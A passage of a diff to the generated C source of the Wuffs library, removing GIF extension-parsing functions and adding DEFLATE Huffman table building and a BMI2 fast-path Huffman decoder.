v_i = a_n_codes0; ++ while (v_i < a_n_codes1) { ++ if (v_counts[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] >= 320u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_counts[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_i += 1u; + } +- +- uint32_t coro_susp_point = self->private_impl.p_decode_extension[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_label = t_0; ++ if ((((uint32_t)(v_counts[0u])) + a_n_codes0) == a_n_codes1) { ++ return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); ++ } ++ v_remaining = 1u; ++ v_i = 1u; ++ while (v_i <= 15u) { ++ if (v_remaining > 1073741824u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- if (v_label == 249u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__decode_gc(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if (v_label == 255u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_ae(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; ++ v_remaining <<= 1u; ++ if (v_remaining < ((uint32_t)(v_counts[v_i]))) { ++ return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_over_subscribed); ++ } ++ v_remaining -= ((uint32_t)(v_counts[v_i])); ++ v_i += 1u; ++ } ++ if (v_remaining != 0u) { ++ if ((a_which == 1u) && (v_counts[1u] == 1u) && ((((uint32_t)(v_counts[0u])) + a_n_codes0 + 1u) == a_n_codes1)) { ++ v_i = 0u; ++ while (v_i <= 29u) { ++ if (self->private_data.f_code_lengths[(a_n_codes0 + v_i)] == 1u) { ++ self->private_impl.f_n_huffs_bits[1u] = 1u; ++ self->private_data.f_huffs[1u][0u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[v_i] | 1u); ++ self->private_data.f_huffs[1u][1u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[31u] | 1u); ++ return wuffs_base__make_status(NULL); ++ } ++ v_i += 1u; + } +- status = wuffs_base__make_status(NULL); +- goto ok; + } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_under_subscribed); ++ } ++ v_i = 1u; ++ while (v_i <= 15u) { ++ v_offsets[v_i] = ((uint16_t)(v_n_symbols)); ++ v_count = ((uint32_t)(v_counts[v_i])); ++ if (v_n_symbols > (320u - v_count)) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ v_n_symbols = (v_n_symbols + v_count); ++ v_i += 1u; ++ } ++ if (v_n_symbols > 288u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_i = a_n_codes0; ++ while (v_i < a_n_codes1) { ++ if (v_i < a_n_codes0) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- if (status.repr) { +- goto suspend; ++ if (self->private_data.f_code_lengths[v_i] != 0u) { ++ if (v_offsets[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] >= 320u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_symbols[v_offsets[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))]] = ((uint16_t)((v_i - a_n_codes0))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_offsets[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + } +- +- ok: +- self->private_impl.p_decode_extension[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_extension[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ v_i += 1u; + } +- +- return status; +-} +- +-// -------- func gif.decoder.skip_blocks +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__skip_blocks( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_block_size = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ v_min_cl = 1u; ++ while (true) { ++ if (v_counts[v_min_cl] != 0u) { ++ break; ++ } ++ if (v_min_cl >= 9u) { ++ return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_minimum_code_length); ++ } ++ v_min_cl += 1u; + } +- +- uint32_t coro_susp_point = self->private_impl.p_skip_blocks[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_max_cl = 15u; ++ while (true) { ++ if (v_counts[v_max_cl] != 0u) { ++ break; ++ } ++ if (v_max_cl <= 1u) { ++ return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); ++ } ++ v_max_cl -= 1u; ++ } ++ if (v_max_cl <= 9u) { ++ self->private_impl.f_n_huffs_bits[a_which] = v_max_cl; ++ } else { ++ self->private_impl.f_n_huffs_bits[a_which] = 9u; ++ } ++ v_i = 0u; ++ if ((v_n_symbols != ((uint32_t)(v_offsets[v_max_cl]))) || (v_n_symbols != ((uint32_t)(v_offsets[15u])))) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ if ((a_n_codes0 + ((uint32_t)(v_symbols[0u]))) >= 320u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_initial_high_bits = 512u; ++ if (v_max_cl < 9u) { ++ v_initial_high_bits = (((uint32_t)(1u)) << v_max_cl); ++ } ++ v_prev_cl = ((uint32_t)(((uint8_t)(self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[0u])))] & 15u)))); ++ v_prev_redirect_key = 4294967295u; ++ v_top = 0u; ++ v_next_top = 512u; ++ v_code = 0u; ++ v_key = 0u; ++ v_value = 0u; ++ while (true) { ++ if ((a_n_codes0 + ((uint32_t)(v_symbols[v_i]))) >= 320u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_cl = ((uint32_t)(((uint8_t)(self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[v_i])))] & 15u)))); ++ if (v_cl > v_prev_cl) { ++ v_code <<= (v_cl - v_prev_cl); ++ if (v_code >= 32768u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ } ++ v_prev_cl = v_cl; ++ v_key = v_code; ++ if (v_cl > 9u) { ++ v_cl -= 9u; ++ v_redirect_key = ((v_key >> v_cl) & 511u); ++ v_key = ((v_key) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_cl)); ++ if (v_prev_redirect_key != v_redirect_key) { ++ v_prev_redirect_key = v_redirect_key; ++ v_remaining = (((uint32_t)(1u)) << v_cl); ++ v_j = v_prev_cl; ++ while (v_j <= 15u) { ++ if (v_remaining <= ((uint32_t)(v_counts[v_j]))) { ++ break; ++ } ++ v_remaining -= ((uint32_t)(v_counts[v_j])); ++ if (v_remaining > 1073741824u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_remaining <<= 1u; ++ v_j += 1u; + } +- uint8_t t_0 = *iop_a_src++; +- v_block_size = t_0; ++ if ((v_j <= 9u) || (15u < v_j)) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_j -= 9u; ++ v_initial_high_bits = (((uint32_t)(1u)) << v_j); ++ v_top = v_next_top; ++ if ((v_top + (((uint32_t)(1u)) << v_j)) > 1024u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_next_top = (v_top + (((uint32_t)(1u)) << v_j)); ++ v_redirect_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_redirect_key >> 1u)])) | ((v_redirect_key & 1u) << 8u)); ++ self->private_data.f_huffs[a_which][v_redirect_key] = (268435465u | (v_top << 8u) | (v_j << 4u)); + } +- if (v_block_size == 0u) { +- status = wuffs_base__make_status(NULL); +- goto ok; ++ } ++ if ((v_key >= 512u) || (v_counts[v_prev_cl] <= 0u)) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_counts[v_prev_cl] -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_reversed_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_key >> 1u)])) | ((v_key & 1u) << 8u)); ++ v_reversed_key >>= (9u - v_cl); ++ v_symbol = ((uint32_t)(v_symbols[v_i])); ++ if (v_symbol == 256u) { ++ v_value = (536870912u | v_cl); ++ } else if ((v_symbol < 256u) && (a_which == 0u)) { ++ v_value = (2147483648u | (v_symbol << 8u) | v_cl); ++ } else if (v_symbol >= a_base_symbol) { ++ v_symbol -= a_base_symbol; ++ if (a_which == 0u) { ++ v_value = (WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); ++ } else { ++ v_value = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); + } +- self->private_data.s_skip_blocks[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_skip_blocks[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_skip_blocks[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ } else { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_high_bits = v_initial_high_bits; ++ v_delta = (((uint32_t)(1u)) << v_cl); ++ while (v_high_bits >= v_delta) { ++ v_high_bits -= v_delta; ++ if ((v_top + ((v_high_bits | v_reversed_key) & 511u)) >= 1024u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- iop_a_src += self->private_data.s_skip_blocks[0].scratch; ++ self->private_data.f_huffs[a_which][(v_top + ((v_high_bits | v_reversed_key) & 511u))] = v_value; ++ } ++ v_i += 1u; ++ if (v_i >= v_n_symbols) { ++ break; ++ } ++ v_code += 1u; ++ if (v_code >= 32768u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- +- ok: +- self->private_impl.p_skip_blocks[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_skip_blocks[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- +- return status; ++ return wuffs_base__make_status(NULL); + } + +-// -------- func gif.decoder.decode_ae ++// ‼ WUFFS MULTI-FILE SECTION +x86_bmi2 ++// -------- func deflate.decoder.decode_huffman_bmi2 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("bmi2") + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_ae( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_huffman_bmi2( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_block_size = 0; +- bool v_is_animexts = false; +- bool v_is_netscape = false; +- bool v_is_iccp = false; +- bool v_is_xmp = false; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint64_t v_lmask = 0; ++ uint64_t v_dmask = 0; ++ uint32_t v_redir_top = 0; ++ uint32_t v_redir_mask = 0; ++ uint32_t v_length = 0; ++ uint32_t v_dist_minus_1 = 0; ++ uint32_t v_hlen = 0; ++ uint32_t v_hdist = 0; ++ uint32_t v_hdist_adjustment = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -38283,214 +39652,206 @@ wuffs_gif__decoder__decode_ae( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_ae[0]; +- if (coro_susp_point) { +- v_block_size = self->private_data.s_decode_ae[0].v_block_size; +- v_is_animexts = self->private_data.s_decode_ae[0].v_is_animexts; +- v_is_netscape = self->private_data.s_decode_ae[0].v_is_netscape; +- v_is_iccp = self->private_data.s_decode_ae[0].v_is_iccp; +- v_is_xmp = self->private_data.s_decode_ae[0].v_is_xmp; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- do { +- if (self->private_impl.f_metadata_fourcc != 0u) { +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_block_size = t_0; +- } +- if (v_block_size == 0u) { +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- if (v_block_size != 11u) { +- self->private_data.s_decode_ae[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_decode_ae[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_ae[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_ae[0].scratch; ++ v_bits = ((uint64_t)(self->private_impl.f_bits)); ++ v_n_bits = self->private_impl.f_n_bits; ++ v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); ++ if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); ++ goto exit; ++ } ++ v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); ++ label__loop__continue:; ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { ++ v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); ++ iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; + break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- v_is_animexts = true; +- v_is_netscape = true; +- v_is_iccp = true; +- v_is_xmp = true; +- v_block_size = 0u; +- while (v_block_size < 11u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- v_is_animexts = (v_is_animexts && (v_c == WUFFS_GIF__ANIMEXTS1DOT0[v_block_size])); +- v_is_netscape = (v_is_netscape && (v_c == WUFFS_GIF__NETSCAPE2DOT0[v_block_size])); +- v_is_iccp = (v_is_iccp && (v_c == WUFFS_GIF__ICCRGBG1012[v_block_size])); +- v_is_xmp = (v_is_xmp && (v_c == WUFFS_GIF__XMPDATAXMP[v_block_size])); +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_block_size += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ v_length = (((v_table_entry >> 8u) & 255u) + 3u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } ++ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 28u) == 1u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } ++ if ((v_table_entry >> 24u) != 64u) { ++ if ((v_table_entry >> 24u) == 8u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; + } +- if (v_is_animexts || v_is_netscape) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- v_block_size = t_2; +- } +- if (v_block_size != 3u) { +- self->private_data.s_decode_ae[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_decode_ae[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_ae[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_ae[0].scratch; +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ do { ++ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_hlen = 0u; ++ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_length > v_hdist) { ++ v_length -= v_hdist; ++ v_hlen = v_hdist; ++ } else { ++ v_hlen = v_length; ++ v_length = 0u; + } +- if (v_c != 1u) { +- self->private_data.s_decode_ae[0].scratch = 2u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (self->private_data.s_decode_ae[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_ae[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_ae[0].scratch; +- break; ++ v_hdist += v_hdist_adjustment; ++ if (self->private_impl.f_history_index < v_hdist) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); ++ goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_ae[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_ae[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 8) { +- t_4 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; +- } +- } +- self->private_impl.f_num_animation_loops_value = t_4; ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); ++ if (v_length == 0u) { ++ goto label__loop__continue; + } +- self->private_impl.f_seen_num_animation_loops_value = true; +- if ((0u < self->private_impl.f_num_animation_loops_value) && (self->private_impl.f_num_animation_loops_value <= 65535u)) { +- self->private_impl.f_num_animation_loops_value += 1u; ++ if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); ++ goto exit; + } +- } else if (self->private_impl.f_call_sequence >= 32u) { +- } else if (v_is_iccp && self->private_impl.f_report_metadata_iccp) { +- self->private_impl.f_metadata_fourcc = 1229144912u; +- self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- self->private_impl.f_call_sequence = 16u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } else if (v_is_xmp && self->private_impl.f_report_metadata_xmp) { +- self->private_impl.f_metadata_fourcc = 1481461792u; +- self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- self->private_impl.f_call_sequence = 16u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; ++ } ++ if ((v_dist_minus_1 + 1u) >= 8u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else if ((v_dist_minus_1 + 1u) == 1u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); + } + } while (0); +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; ++ } ++ if 